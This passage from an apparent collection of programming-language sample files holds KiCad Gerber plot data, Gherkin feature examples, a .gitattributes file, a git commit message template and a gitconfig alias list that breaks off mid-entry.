952762D01*\nX186412191Y-66905143D01*\nX186459810Y-66809905D01*\nX186459810Y-66714667D01*\nX186412191Y-66619429D01*\nX186364572Y-66571810D01*\nX186269334Y-66524190D01*\nX186078857Y-66476571D01*\nX185983619Y-66428952D01*\nX185936000Y-66381333D01*\nX185888381Y-66286095D01*\nX185888381Y-66190857D01*\nX185936000Y-66095619D01*\nX185983619Y-66048000D01*\nX186078857Y-66000381D01*\nX186316953Y-66000381D01*\nX186459810Y-66048000D01*\nX186888381Y-67000381D02*\nX186888381Y-66000381D01*\nX170488095Y-97273810D01*\nX146122399Y-64195858D02*\nX146884304Y-64195858D01*\nX146503352Y-64576810D02*\nX146503352Y-63814905D01*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/simonShield-drl_map.gbr",
    "content": "%FSLAX45Y45*%\nG04 Gerber Fmt 4.5, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:22 2017*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.127000*%\n%ADD11C,0.150000*%\n%ADD12C,0.200000*%\n%ADD13C,0.300000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX19625000Y-11800000D02*\nX11300000Y-11800000D01*\nX19625000Y-5275000D02*\nX19625000Y-11800000D01*\nX11300000Y-5275000D02*\nX19625000Y-5275000D01*\nX11300000Y-11800000D02*\nX11300000Y-5275000D01*\nD12*\nX12657300Y-7234400D02*\nX12717300Y-7294400D01*\nX12717300Y-7234400D02*\nX12657300Y-7294400D01*\nX12657300Y-9571200D02*\nX18270700Y-9571200D02*\nX18330700Y-9631200D01*\nX18330700Y-9571200D02*\nX18270700Y-9631200D01*\nX13764260Y-8013700D02*\nG75*\nG03X13764260Y-8013700I-35560J0D01*\nG01*\nX13764260Y-8343900D02*\nG75*\nG03X13764260Y-8343900I-35560J0D01*\nG01*\nX13764260Y-10350500D02*\nG75*\nG03X13764260Y-10350500I-35560J0D01*\nG01*\nX13764260Y-10668000D02*\nG75*\nG03X13764260Y-10668000I-35560J0D01*\nG01*\nX14869160Y-7962900D02*\nG75*\nG03X14869160Y-7962900I-35560J0D01*\nG01*\nX14881860Y-8318500D02*\nG75*\nG03X14881860Y-8318500I-35560J0D01*\nG01*\nX14881860Y-10350500D02*\nG75*\nG03X14881860Y-10350500I-35560J0D01*\nG01*\nX14881860Y-10693400D02*\nG75*\nG03X14881860Y-10693400I-35560J0D01*\nG01*\nX16177260Y-8001000D02*\nG75*\nG03X16177260Y-8001000I-35560J0D01*\nG01*\nX16177260Y-8343900D02*\nG75*\nG03X16177260Y-8343900I-35560J0D01*\nG01*\nX16177260Y-10375900D02*\nG75*\nG03X16177260Y-10375900I-35560J0D01*\nG01*\nX16177260Y-10693400D02*\nG75*\nG03X16177260Y-10693400I-35560J0D01*\nG01*\nX17294860Y-8013700D02*\nG75*\nG03X17294860Y-8013700I-35560J0D01*\nG01*\nX17294860Y-8331200D02*\nG75*\nG03X17294860Y-8331200I-35560J0D01*\nG01*\nX17294860Y-10337800D02*\nG75*\nG03X17294860Y-10337800I-35560J0D01*\nG01*\nX17294860Y-10693400D02*\nG75*\nG03X17294860Y-10693400I-35560J0D01*\nG01*\nX13525500Y-6360800D02*\nX13525500Y-6440800D01*\nX13485500Y-6400800D02*\nX13565500Y-6400800D01*\nX14540000Y-5824000D02*\nX14540000Y-5904000D01*\nX14500000Y-5864000D02*\nX14580000Y-5864000D01*\nX14540000Y-6840000D02*\nX14540000Y-6920000D01*\nX14500000Y-6880000D02*\nX14580000Y-6880000D01*\nX15500000Y-8844000D02*\nX15500000Y-8924000D01*\nX15460000Y-8884000D02*\nX15540000Y-8884000D01*\nX15500000Y-9860000D02*\nX15500000Y-9940000D01*\nX15460000Y-9900000D02*\nX15540000Y-9900000D01*\nX12586462Y-7809738D01*\nX12686538Y-7759700D02*\nG75*\nG03X12686538Y-7759700I-50038J0D01*\nG01*\nX12586462Y-8471662D02*\nX12686538Y-8571738D01*\nX12686538Y-8471662D02*\nX12586462Y-8571738D01*\nX12686538Y-8521700D02*\nG75*\nG03X12686538Y-8521700I-50038J0D01*\nG01*\nX12586462Y-10033762D02*\nX12686538Y-10133838D01*\nX12686538Y-10033762D02*\nX12586462Y-10133838D01*\nX12686538Y-10083800D02*\nG75*\nG03X12686538Y-10083800I-50038J0D01*\nG01*\nX12586462Y-10795762D02*\nX12686538Y-10895838D01*\nX12686538Y-10795762D02*\nX12586462Y-10895838D01*\nX12686538Y-10845800D02*\nG75*\nG03X12686538Y-10845800I-50038J0D01*\nG01*\nX12942062Y-7709662D02*\nX13042138Y-7809738D01*\nX13042138Y-7709662D02*\nX12942062Y-7809738D01*\nX13042138Y-7759700D02*\nG75*\nG03X13042138Y-7759700I-50038J0D01*\nG01*\nX12942062Y-8471662D02*\nX13042138Y-8571738D01*\nX13042138Y-8471662D02*\nX12942062Y-8571738D01*\nX13042138Y-8521700D02*\nG75*\nG03X13042138Y-8521700I-50038J0D01*\nG01*\nX12942062Y-10033762D02*\nX13042138Y-10133838D01*\nX13042138Y-10033762D02*\nX12942062Y-10133838D01*\nX13042138Y-10083800D02*\nG75*\nG03X13042138Y-10083800I-50038J0D01*\nG01*\nX12942062Y-10795762D02*\nX13042138Y-10895838D01*\nX13042138Y-10795762D02*\nX12942062Y-10895838D01*\nX13042138Y-10845800D02*\nG75*\nG03X13042138Y-10845800I-50038J0D01*\nG01*\nX13297662Y-7214362D02*\nX13397738Y-7314438D01*\nX13397738Y-7214362D02*\nX13297662Y-7314438D01*\nX13397738Y-7264400D02*\nG75*\nG03X13397738Y-7264400I-50038J0D01*\nG01*\nX13297662Y-9563862D02*\nX13397738Y-9663938D01*\nX13397738Y-9563862D02*\nX13297662Y-9663938D01*\nX13397738Y-9613900D02*\nG75*\nG03X13397738Y-9613900I-50038J0D01*\nG01*\nX13373862Y-7722362D02*\nX13473938Y-7822438D01*\nX13473938Y-7722362D02*\nX13373862Y-7822438D01*\nX13473938Y-7772400D02*\nG75*\nG03X13473938Y-7772400I-50038J0D01*\nG01*\nX13373862Y-8484362D02*\nX13473938Y-8584438D01*\nX13473938Y-8484362D02*\nX13373862Y-8584438D01*\nX13473938Y-8534400D02*\nG75*\nG03X13473938Y-8534400I-50038J0D01*\nG01*\nX13373862Y-10033762D02*\nX13473938Y-10133838D01*\nX13473938Y-10033762D02*\nX13373862Y-10133838D01*\nX13473938Y-10083800D02*\nG75*\nG03X13473938Y-10083800I-50038J0D01*\nG01*\nX13373862Y-10795762D02*\nX13473938Y-10895838D01*\nX13473938Y-10795762D02*\nX13373862Y-10895838D01*\nX13473938Y-10845800D02*\nG75*\nG03X13473938Y-10845800I-50038J0D01*\nG01*\nX13551662Y-7214362D02*\nX13651738Y-7314438D01*\nX13651738Y-7214362D02*\nX13551662Y-7314438D01*\nX13651738Y-7264400D02*\nG75*\nG03X13651738Y-7264400I-50038J0D01*\nG01*\nX13551662Y-9563862D02*\nX13651738Y-9663938D01*\nX13651738Y-9563862D02*\nX13551662Y-9663938D01*\nX13651738Y-9613900D02*\nG75*\nG03X13651738Y-9613900I-50038J0D01*\nG01*\nX14491462Y-7722362D02*\nX14591538Y-7822438D01*\nX14591538Y-7722362D02*\nX14491462Y-7822438D01*\nX14591538Y-7772400D02*\nG75*\nG03X14591538Y-7772400I-50038J0D01*\nG01*\nX14491462Y-8484362D02*\nX14591538Y-8584438D01*\nX14591538Y-8484362D02*\nX14491462Y-8584438D01*\nX14591538Y-8534400D02*\nG75*\nG03X14591538Y-8534400I-50038J0D01*\nG01*\nX14491462Y-10084562D02*\nX14591538Y-10184638D01*\nX14591538Y-10084562D02*\nX14491462Y-10184638D01*\nX14591538Y-10134600D02*\nG75*\nG03X14591538Y-10134600I-50038J0D01*\nG01*\nX14491462Y-10846562D02*\nX14591538Y-10946638D01*\nX14591538Y-10846562D02*\nX14491462Y-10946638D01*\nX14591538Y-10896600D02*\nG75*\nG03X14591538Y-10896600I-50038J0D01*\nG01*\nX15032859Y-6362405D02*\nX15132935Y-6462481D01*\nX15132935Y-6362405D02*\nX15032859Y-6462481D01*\nX15132935Y-6412443D02*\nG75*\nG03X15132935Y-6412443I-50038J0D01*\nG01*\nX15667859Y-6362405D02*\nX15767935Y-6462481D01*\nX15767935Y-6362405D02*\nX15667859Y-6462481D01*\nX15767935Y-6412443D02*\nG75*\nG03X15767935Y-6412443I-50038J0D01*\nG01*\nX16104362Y-5906262D02*\nX16204438Y-6006338D01*\nX16204438Y-5906262D02*\nX16104362Y-6006338D01*\nX16204438Y-5956300D02*\nG75*\nG03X16204438Y-5956300I-50038J0D01*\nG01*\nX16104362Y-6211062D02*\nX16204438Y-6311138D01*\nX16204438Y-6211062D02*\nX16104362Y-6311138D01*\nX16204438Y-6261100D02*\nG75*\nG03X16204438Y-6261100I-50038J0D01*\nG01*\nX16396462Y-7735062D02*\nX16496538Y-7835138D01*\nX16496538Y-7735062D02*\nX16396462Y-7835138D01*\nX16496538Y-7785100D02*\nG75*\nG03X16496538Y-7785100I-50038J0D01*\nG01*\nX16396462Y-8497062D02*\nX16496538Y-8597138D01*\nX16496538Y-8497062D02*\nX16396462Y-8597138D01*\nX16496538Y-8547100D02*\nG75*\nG03X16496538Y-8547100I-50038J0D01*\nG01*\nX16396462Y-10071862D02*\nX16496538Y-10171938D01*\nX16496538Y-10071862D02*\nX16396462Y-10171938D01*\nX16496538Y-10121900D02*\nG75*\nG03X16496538Y-10121900I-50038J0D01*\nG01*\nX16396462Y-10833862D02*\nX16496538Y-10933938D01*\nX16496538Y-10833862D02*\nX16396462Y-10933938D01*\nX16496538Y-10883900D02*\nG75*\nG03X16496538Y-10883900I-50038J0D01*\nG01*\nX16866362Y-5906262D02*\nX16966438Y-6006338D01*\nX16966438Y-5906262D02*\nX16866362Y-6006338D01*\nX16966438Y-5956300D02*\nG75*\nG03X16966438Y-5956300I-50038J0D01*\nG01*\nX16866362Y-6211062D02*\nX16966438Y-6311138D01*\nX16966438Y-6211062D02*\nX16866362Y-6311138D01*\nX16966438Y-6261100D02*\nG75*\nG03X16966438Y-6261100I-50038J0D01*\nG01*\nX17336262Y-7214362D02*\nX17436338Y-7314438D01*\nX17436338Y-7214362D02*\nX17336262Y-7314438D01*\nX17436338Y-7264400D02*\nG75*\nG03X17436338Y-7264400I-50038J0D01*\nG01*\nX17336262Y-9551162D02*\nX17436338Y-9651238D01*\nX17436338Y-9551162D02*\nX17336262Y-9651238D01*\nX17436338Y-9601200D02*\nG75*\nG03X17436338Y-9601200I-50038J0D01*\nG01*\nX17514062Y-7709662D02*\nX17614138Y-7809738D01*\nX17614138Y-7709662D02*\nX17514062Y-7809738D01*\nX17614138Y-7759700D02*\nG75*\nG03X17614138Y-7759700I-50038J0D01*\nG01*\nX17514062Y-8471662D02*\nX17614138Y-8571738D01*\nX17614138Y-8471662D02*\nX17514062Y-8571738D01*\nX17614138Y-8521700D02*\nG75*\nG03X17614138Y-8521700I-50038J0D01*\nG01*\nX17514062Y-10046462D02*\nX17614138Y-10146538D01*\nX17614138Y-10046462D02*\nX17514062Y-10146538D01*\nX17614138Y-10096500D02*\nG75*\nG03X17614138Y-10096500I-50038J0D01*\nG01*\nX17514062Y-10808462D02*\nX17614138Y-10908538D01*\nX17614138Y-10808462D02*\nX17514062Y-10908538D01*\nX17614138Y-10858500D02*\nG75*\nG03X17614138Y-10858500I-50038J0D01*\nG01*\nX17590262Y-7214362D02*\nX17690338Y-7314438D01*\nX17690338Y-7214362D02*\nX17590262Y-7314438D01*\nX17690338Y-7264400D02*\nG75*\nG03X17690338Y-7264400I-50038J0D01*\nG01*\nX17590262Y-9551162D02*\nX17690338Y-9651238D01*\nX17690338Y-9551162D02*\nX17590262Y-9651238D01*\nX17690338Y-9601200D02*\nG75*\nG03X17690338Y-9601200I-50038J0D01*\nG01*\nX17945862Y-10046462D02*\nX18045938Y-10146538D01*\nX18045938Y-10046462D02*\nX17945862Y-10146538D01*\nX18045938Y-10096500D02*\nG75*\nG03X18045938Y-10096500I-50038J0D01*\nG01*\nX17945862Y-10808462D02*\nX18045938Y-10908538D01*\nX18045938Y-10808462D02*\nX17945862Y-10908538D01*\nX18045938Y-10858500D02*\nG75*\nG03X18045938Y-10858500I-50038J0D01*\nG01*\nX17958562Y-7709662D02*\nX18058638Y-7809738D01*\nX18058638Y-7709662D02*\nX17958562Y-7809738D01*\nX18058638Y-7759700D02*\nG75*\nG03X18058638Y-7759700I-50038J0D01*\nG01*\nX17958562Y-8471662D02*\nX18058638Y-8571738D01*\nX18058638Y-8471662D02*\nX17958562Y-8571738D01*\nX18058638Y-8521700D02*\nG75*\nG03X18058638Y-8521700I-50038J0D01*\nG01*\nX18301462Y-7709662D02*\nX18401538Y-7809738D01*\nX18401538Y-7709662D02*\nX18301462Y-7809738D01*\nX18401538Y-7759700D02*\nG75*\nG03X18401538Y-7759700I-50038J0D01*\nG01*\nX18301462Y-8471662D02*\nX18401538Y-8571738D01*\nX18401538Y-8471662D02*\nX18301462Y-8571738D01*\nX18401538Y-8521700D02*\nG75*\nG03X18401538Y-8521700I-50038J0D01*\nG01*\nX18301462Y-10046462D02*\nX18401538Y-10146538D01*\nX18401538Y-10046462D02*\nX18301462Y-10146538D01*\nX18401538Y-10096500D02*\nG75*\nG03X18401538Y-10096500I-50038J0D01*\nG01*\nX18301462Y-10808462D02*\nX18401538Y-10908538D01*\nX18401538Y-10808462D02*\nX18301462Y-10908538D01*\nX18401538Y-10858500D02*\nG75*\nG03X18401538Y-10858500I-50038J0D01*\nG01*\nX11760200Y-6096000D02*\nX11861800Y-6197600D01*\nX11861800Y-6096000D02*\nX18872200Y-10668000D02*\nX18973800Y-10769600D01*\nX18973800Y-10668000D02*\nX18872200Y-10769600D01*\nX18923000Y-10668000D02*\nX18923000Y-10769600D01*\nX18872200Y-10718800D02*\nX18973800Y-10718800D01*\nX18872200Y-10922000D02*\nX18973800Y-11023600D01*\nX18973800Y-10922000D02*\nX18872200Y-11023600D01*\nX18923000Y-10922000D02*\nX18923000Y-11023600D01*\nX18872200Y-10972800D02*\nX18973800Y-10972800D01*\nX19126200Y-6096000D02*\nX19227800Y-6197600D01*\nX19227800Y-6096000D02*\nX19126200Y-6197600D01*\nX19177000Y-6096000D02*\nX19177000Y-6197600D01*\nX19126200Y-6146800D02*\nX19227800Y-6146800D01*\nX19126200Y-6350000D02*\nX19227800Y-6451600D01*\nX19227800Y-6350000D02*\nX19126200Y-6451600D01*\nX19177000Y-6350000D02*\nX19177000Y-6451600D01*\nX19126200Y-6400800D02*\nX19227800Y-6400800D01*\nX19126200Y-6604000D02*\nX19227800Y-6705600D01*\nX19227800Y-6604000D02*\nX19126200Y-6705600D01*\nX19177000Y-6604000D02*\nX19177000Y-6705600D01*\nX19126200Y-6654800D02*\nX19227800Y-6654800D01*\nX19126200Y-6858000D02*\nX19227800Y-6959600D01*\nX19227800Y-6858000D02*\nX19126200Y-6959600D01*\nX19177000Y-6858000D02*\nX19177000Y-6959600D01*\nX19126200Y-6908800D02*\nX19227800Y-6908800D01*\nX19126200Y-7112000D02*\nX19227800Y-7213600D01*\nX19227800Y-7112000D02*\nX19126200Y-7213600D01*\nX19177000Y-7112000D02*\nX19177000Y-7213600D01*\nX19126200Y-7162800D02*\nX19227800Y-7162800D01*\nX19126200Y-7366000D02*\nX19227800Y-7467600D01*\nX19227800Y-7366000D02*\nX19126200Y-7467600D01*\nX19177000Y-7366000D02*\nX19177000Y-7467600D01*\nX19126200Y-7416800D02*\nX19227800Y-7416800D01*\nX19126200Y-7620000D02*\nX19227800Y-7721600D01*\nX19227800Y-7620000D02*\nX19126200Y-7721600D01*\nX19177000Y-7620000D02*\nX19177000Y-7721600D01*\nX19126200Y-7670800D02*\nX19227800Y-7670800D01*\nX19126200Y-7874000D02*\nX19227800Y-7975600D01*\nX19227800Y-7874000D02*\nX19126200Y-7975600D01*\nX19177000Y-7874000D02*\nX19177000Y-7975600D01*\nX19126200Y-7924800D02*\nX19227800Y-7924800D01*\nX19126200Y-8128000D02*\nX19227800Y-8229600D01*\nX19227800Y-8128000D02*\nX19126200Y-8229600D01*\nX19177000Y-8128000D02*\nX19177000Y-8229600D01*\nX19126200Y-8178800D02*\nX19227800Y-8178800D01*\nX19126200Y-8382000D02*\nX19227800Y-8483600D01*\nX19227800Y-8382000D02*\nX19126200Y-8483600D01*\nX19177000Y-8382000D02*\nX19177000Y-8483600D01*\nX19126200Y-8432800D02*\nX19227800Y-8432800D01*\nX19126200Y-8636000D02*\nX19227800Y-8737600D01*\nX19227800Y-8636000D02*\nX19126200Y-8737600D01*\nX19177000Y-8636000D02*\nX19177000Y-8737600D01*\nX19126200Y-8686800D02*\nX19227800Y-8686800D01*\nX19126200Y-8890000D02*\nX19227800Y-8991600D01*\nX19227800Y-8890000D02*\nX19126200Y-8991600D01*\nX19177000Y-8890000D02*\nX19177000Y-8991600D01*\nX19126200Y-8940800D02*\nX19227800Y-8940800D01*\nX19126200Y-9144000D02*\nX19227800Y-9245600D01*\nX19227800Y-9144000D02*\nX19126200Y-9245600D01*\nX19177000Y-9144000D02*\nX19177000Y-9245600D01*\nX19126200Y-9194800D02*\nX19227800Y-9194800D01*\nX19126200Y-9398000D02*\nX19227800Y-9499600D01*\nX19227800Y-9398000D02*\nX19126200Y-9499600D01*\nX19177000Y-9398000D02*\nX19177000Y-9499600D01*\nX19126200Y-9448800D02*\nX19227800Y-9448800D01*\nX19126200Y-9652000D02*\nX19227800Y-9753600D01*\nX19227800Y-9652000D02*\nX19126200Y-9753600D01*\nX19177000Y-9652000D02*\nX19177000Y-9753600D01*\nX19126200Y-9702800D02*\nX19227800Y-9702800D01*\nX19126200Y-9906000D02*\nX19227800Y-10007600D01*\nX19227800Y-9906000D02*\nX19126200Y-10007600D01*\nX19177000Y-9906000D02*\nX19177000Y-10007600D01*\nX19126200Y-9956800D02*\nX19227800Y-9956800D01*\nX19126200Y-10160000D02*\nX19227800Y-10261600D01*\nX19227800Y-10160000D02*\nX19126200Y-10261600D01*\nX19177000Y-10160000D02*\nX19177000Y-10261600D01*\nX19126200Y-10210800D02*\nX19227800Y-10210800D01*\nX19126200Y-10414000D02*\nX19227800Y-10515600D01*\nX19227800Y-10414000D02*\nX19126200Y-10515600D01*\nX19177000Y-10414000D02*\nX19177000Y-10515600D01*\nX19126200Y-10464800D02*\nX19227800Y-10464800D01*\nX19126200Y-10668000D02*\nX19227800Y-10769600D01*\nX19227800Y-10668000D02*\nX19126200Y-10769600D01*\nX19177000Y-10668000D02*\nX19177000Y-10769600D01*\nX19126200Y-10718800D02*\nX19227800Y-10718800D01*\nX19126200Y-10922000D02*\nX19227800Y-11023600D01*\nX19227800Y-10922000D02*\nX19126200Y-11023600D01*\nX19177000Y-10922000D02*\nX19177000Y-11023600D01*\nX19126200Y-10972800D02*\nX19227800Y-10972800D01*\nD13*\nX11563928Y-12273214D02*\nX11563928Y-11973214D01*\nX11635357Y-11973214D01*\nX11678214Y-11987500D01*\nX11706786Y-12016071D01*\nX11721071Y-12044643D01*\nX11735357Y-12101786D01*\nX11735357Y-12144643D01*\nX11721071Y-12201786D01*\nX11706786Y-12230357D01*\nX11678214Y-12258929D01*\nX11635357Y-12273214D01*\nX11563928Y-12273214D01*\nX11863928Y-12273214D02*\nX11863928Y-12073214D01*\nX11863928Y-12130357D02*\nX11878214Y-12101786D01*\nX11892500Y-12087500D01*\nX11921071Y-12073214D01*\nX11949643Y-12073214D01*\nX12049643Y-12273214D02*\nX12049643Y-12073214D01*\nX12049643Y-11973214D02*\nX12035357Y-11987500D01*\nX12049643Y-12001786D01*\nX12063928Y-11987500D01*\nX12049643Y-11973214D01*\nX18121071Y-12688929D01*\nX18106786Y-12646071D01*\nX18092500Y-12617500D01*\nX18063929Y-12574643D01*\nX18049643Y-12560357D01*\nX11292500Y-13163500D02*\nG75*\nG03X11292500Y-13163500I-35560J0D01*\nG01*\nX11621071Y-12999214D02*\nX11649643Y-12999214D01*\nX11678214Y-13013500D01*\nX11692500Y-13027786D01*\nX11706786Y-13056357D01*\nX11721071Y-13113500D01*\nX11721071Y-13184929D01*\nX11706786Y-13242071D01*\nX11692500Y-13270643D01*\nX12706786Y-13509500D01*\nX12735357Y-13495214D01*\nX12778214Y-13495214D01*\nX12806786Y-13509500D01*\nX12821071Y-13538071D01*\nX12821071Y-13695214D01*\nX12963928Y-13695214D02*\nX12963928Y-13495214D01*\nX12963928Y-13523786D02*\nX12978214Y-13509500D01*\nX13006786Y-13495214D01*\nX13049643Y-13495214D01*\nX13078214Y-13509500D01*\nX13092500Y-13538071D01*\nX13092500Y-13695214D01*\nX13092500Y-13538071D02*\nX13106786Y-13509500D01*\nX13135357Y-13495214D01*\nX13178214Y-13495214D01*\nX13206786Y-13509500D01*\nX13221071Y-13538071D01*\nX13221071Y-13695214D01*\nX13806786Y-13380929D02*\nX13549643Y-13766643D01*\nX14192500Y-13395214D02*\nX14221071Y-13395214D01*\nX14249643Y-13409500D01*\nX14263928Y-13423786D01*\nX14278214Y-13452357D01*\nX14292500Y-13509500D01*\nX14292500Y-13580929D01*\nX14278214Y-13638071D01*\nX14263928Y-13666643D01*\nX14249643Y-13680929D01*\nX14221071Y-13695214D01*\nX14192500Y-13695214D01*\nX14163928Y-13680929D01*\nX14149643Y-13666643D01*\nX14135357Y-13638071D01*\nX14121071Y-13580929D01*\nX14121071Y-13509500D01*\nX14135357Y-13452357D01*\nX14149643Y-13423786D01*\nX14163928Y-13409500D01*\nX14192500Y-13395214D01*\nX14421071Y-13666643D02*\nX14435357Y-13680929D01*\nX14421071Y-13695214D01*\nX14406786Y-13680929D01*\nX14421071Y-13666643D01*\nX14421071Y-13695214D01*\nX14621071Y-13395214D02*\nX14649643Y-13395214D01*\nX14678214Y-13409500D01*\nX14692500Y-13423786D01*\nX14706785Y-13452357D01*\nX14721071Y-13509500D01*\nX14721071Y-13580929D01*\nX14706785Y-13638071D01*\nX14692500Y-13666643D01*\nX14678214Y-13680929D01*\nX14649643Y-13695214D01*\nX14621071Y-13695214D01*\nX14592500Y-13680929D01*\nX14578214Y-13666643D01*\nX14563928Y-13638071D01*\nX14549643Y-13580929D01*\nX14549643Y-13509500D01*\nX14563928Y-13452357D01*\nX14578214Y-13423786D01*\nX14592500Y-13409500D01*\nX14621071Y-13395214D01*\nX14821071Y-13395214D02*\nX15006785Y-13395214D01*\nX14906785Y-13509500D01*\nX14949643Y-13509500D01*\nX14978214Y-13523786D01*\nX14992500Y-13538071D01*\nX15006785Y-13566643D01*\nX11292500Y-14797538D01*\nX11292500Y-14697462D02*\nX11192424Y-14797538D01*\nX11292500Y-14747500D02*\nG75*\nG03X11292500Y-14747500I-50038J0D01*\nG01*\nX11721071Y-14883214D02*\nX11549643Y-14883214D01*\nX11635357Y-14883214D02*\nX11635357Y-14583214D01*\nX11606786Y-14626071D01*\nX11578214Y-14654643D01*\nX18135357Y-15136357D01*\nX18121071Y-15064929D01*\nX18106786Y-15022071D01*\nX18092500Y-14993500D01*\nX18063929Y-14950643D01*\nX18049643Y-14936357D01*\nM02*\n"
  },
  {
    "path": "samples/Gherkin/resources.story",
    "content": "Feature: Some awesome title\n  In order to realize a named business value\n  As a explicit system actor\n  I want to gain some beneficial outcome which furthers the goal\n\nPrologue:\nGiven this step is played once in the begin of the story\n\n#-- awesome comment!!!!\n\nScenario: parametrized scenario\nGiven a system state named <systemState>\nWhen I do <action>\nThen system is in state <newSystemStateName>\n\nExamples:\n  |systemState  |Nameaction  |newSystemStateName |\n  |currentState |nothing     |currentState |\n  |currentState |pushButton  |newState |\n\nScenario: title\nGiven an scenario with a table\n  |this|will|be|headers|\n  |this|is  |a |row    |\n\n"
  },
  {
    "path": "samples/Gherkin/tables.feature",
    "content": "Feature: Todo List\n\nScenario: Adding an item to my todo list\n    Given my todo list currently looks as follows:\n    | TaskName            | Priority |\n    | Fix bugs in my code | medium   |\n    | Document my hours   | medium   |\n    When I add the following task:\n    | TaskName                              | Priority |\n    | Watch cat videos on YouTube all day   | high     |\n    Then I should see the following todo list:\n    | TaskName                              | Priority |  \n    | Watch cat videos on YouTube all day   | high     |\n    | Sign up for unemployment              | high     |\n"
  },
  {
    "path": "samples/Git Attributes/filenames/.gitattributes",
    "content": "# Stuff I didn't write\n.emacs.d/lisp/*   linguist-vendored\n\n# Documentation\nshare/man/*       linguist-documentation\n\n# Unrecognised filetypes\n*.colorscheme     linguist-language=INI\nShell.profile     linguist-language=INI\nsessionui.rc      linguist-language=XML\nkonsoleui.rc      linguist-language=XML\n"
  },
  {
    "path": "samples/Git Commit/filenames/COMMIT_EDITMSG",
    "content": "updated css for all pages \n# Please enter the commit message for your changes. Lines starting\n# with '#' will be ignored, and an empty message aborts the commit.\n#\n# On branch master\n# Changes to be committed:\n#\tnew file:   cv.css\n#\tmodified:   cv.html\n#\tnew file:   cvdraft.html\n#\tmodified:   index.css\n#\tmodified:   index.html\n#\n# Changes not staged for commit:\n#\tdeleted:    home.css\n#\n"
  },
  {
    "path": "samples/Git Config/aliases.gitconfig",
    "content": "[alias]\n  br        = branch\n  ci        = commit\n  co        = checkout\n  d         = diff -w HEAD\n  dc        = diff -w --cached\n  ds        = diff -w --staged\n  g         = grep --break --heading --line-number\n  h         = log --pretty=oneline --decorate --abbrev-commit --date=short\n  hist      = log --pretty=format:\\\"%h %ad | %s%d [%an]\\\" --graph --date=short\n  lgp       = log -p\n  lgs       = log --stat\n  lol       = log --graph --decorate --pretty=oneline --abbrev-commit\n  lola      = log --graph --decorate --pretty=oneline --abbrev-commit --all\n  lolar     = log --decorate --pretty=oneline --abbrev-commit --all --reverse\n  ls        = ls-files\n  p         = push\n  pr        = pull --rebase\n  st        = status\n  sta       = status\n  sts       = status -s\n  wc        = whatchanged -p --abbrev-commit --pretty=medium\n\n  ga        = add\n  gb        = branch\n  gba       = branch -a\n  gc        = commit -v\n  gca       = commit -v -a\n  gcf       = commit --fixup\n  gcl       = config --list\n  gclean    = reset --hard && git clean -dfx\n  gcm       = checkout master\n  gcmsg     = commit -m\n  gco       = checkout\n  gcount    = shortlog -sn\n  gcp       = cherry-pick\n  gf        = fetch\n  gfr       = fetch && git rebase remotes/origin/master\n  gg        = gui citool\n  gga       = gui citool --amend\n  ggpnp     = pull origin $(current_branch) && git push origin $(current_branch)\n  ggpull    = pull origin $(current_branch)\n  ggpur     = pull --rebase origin $(current_branch)\n  ggpush    = push origin $(current_branch)\n  gignore   = update-index --assume-unchanged\n  gignored  = ls-files -v | grep \"^[[:lower:]]\"\n  gl        = pull\n  glg       = log --stat --max-count=10\n  glgg      = log --graph --max-count=10\n  glgga     = log --graph --decorate --all\n  glo       = log --oneline --decorate --color\n  glog      = log --oneline --decorate --color --graph\n  glp       = _git_log_prettily\n  gm        = merge\n  gmt       = mergetool --no-prompt\n  gpoat     = push origin --all && git push origin --tags\n  gr        = remote\n  grba      = rebase --abort\n  grbc      = rebase --continue\n  grbi      = rebase -i\n  grh       = reset HEAD\n  grhh      = reset HEAD --hard\n  gri       = rebase --interactive\n  grmv      = remote rename\n  grrm      = remote remove\n  grset     = remote set-url\n  grt       = 'cd $(git rev-parse --show-toplevel || echo \".\")'\n  grup      = remote update\n  grv       = remote -v\n  gss       = status -s\n  gst       = status\n  gsta      = stash\n  gstd      = stash drop\n  gstp      = stash pop\n  gsts      = stash show --text\n  gunignore = update-index --no-assume-unchanged\n\n  # 'gc!'    = commit -v --amend\n  # 'gca!'   = commit -v -a --amend\n  # gk        = k --all --branches\n  # gunwip   = log -n 1 | grep -q -c \"\\-\\-wip\\-\\-\" && git reset HEAD~1\n  # gwip     = add -A; git ls-files --deleted -z | xargs -r0 git rm; git commit -m \"--wip--\"\n\n  gsd       = svn dcommit\n  gsr       = svn rebase\n  git-svn-dcommit-push = svn dcommit && git push github master:svntrunk\n\n  # Blog Post: Human Git Aliases; http://gggritso.com/human-git-aliases\n  # https://github.com/gggritso/dotfiles/blob/master/gitconfig.symlink\n  # BEGIN HUMAN\n  #----\n  amend       = commit --amend\n  back        = checkout \"-\"\n  branches    = branch -a\n  branchout   = checkout -b\n  branch-name = rev-parse --abbrev-ref HEAD\n  contributors= shortlog -s -n\n  down        = pull --rebase\n  discard     = checkout --\n  dump        = cat-file -p\n  filetrail   = git log --follow -p -w\n  graph       = log --graph -10 --branches --remotes --tags\\\n                    --format=format:'%Cgreen%h %Creset %<(75,trunc)%s (%cN, %ar) %Cred%d' --date-order\n\n  hist        = log -10 --format=format:'%Cgreen%h %Creset %s (%cN, %ar)'\n  history     = log --pretty=format:\"%C(yellow)%h\\\\ %ad%Cred%d\\\\ %Creset%s%Cblue\\\\ [%cn]\" --graph --date=short\n  ignore      = update-index --assume-unchanged\n  ignored     = ls-files -o -i --exclude-standard   # Show files ignored by git:\n  invert      = revert\n  incoming    = log orgin/master ^master            # show only what is in orgin/master that isn't in master\n  last        = log -1 HEAD --format=format:\"%Cred%H\"\n  logs        = log --stat\n  mergetrail  = log --ancestry-path --merges\n  move        = mv\n  nevermind   = !git reset --hard HEAD && git clean -d -f\n  outgoing    = log master ^orgin/master            # show only what is in master that isn't in orgin/master\n  praise      = blame\n  precommit   = diff --cached -w --word-diff=color --word-diff-regex='[^[:space:]<>]+'\n  prestage    = diff -w --word-diff=color\n  remotes     = remote -v\n  remove      = rm\n  resave      = commit --amend\n  rewrite     = rebase -i\n  ru          = log --since=\\\"one week ago\\\" --all --no-merges --oneline #--author=\\\"Mark Fernandes\\\"\n  #rushes      = log --since=\\\"1970-01-01 00:00:00\\\" --all --no-merges --oneline #--author=\\\"Mark Fernandes\\\"\n  rushes      = 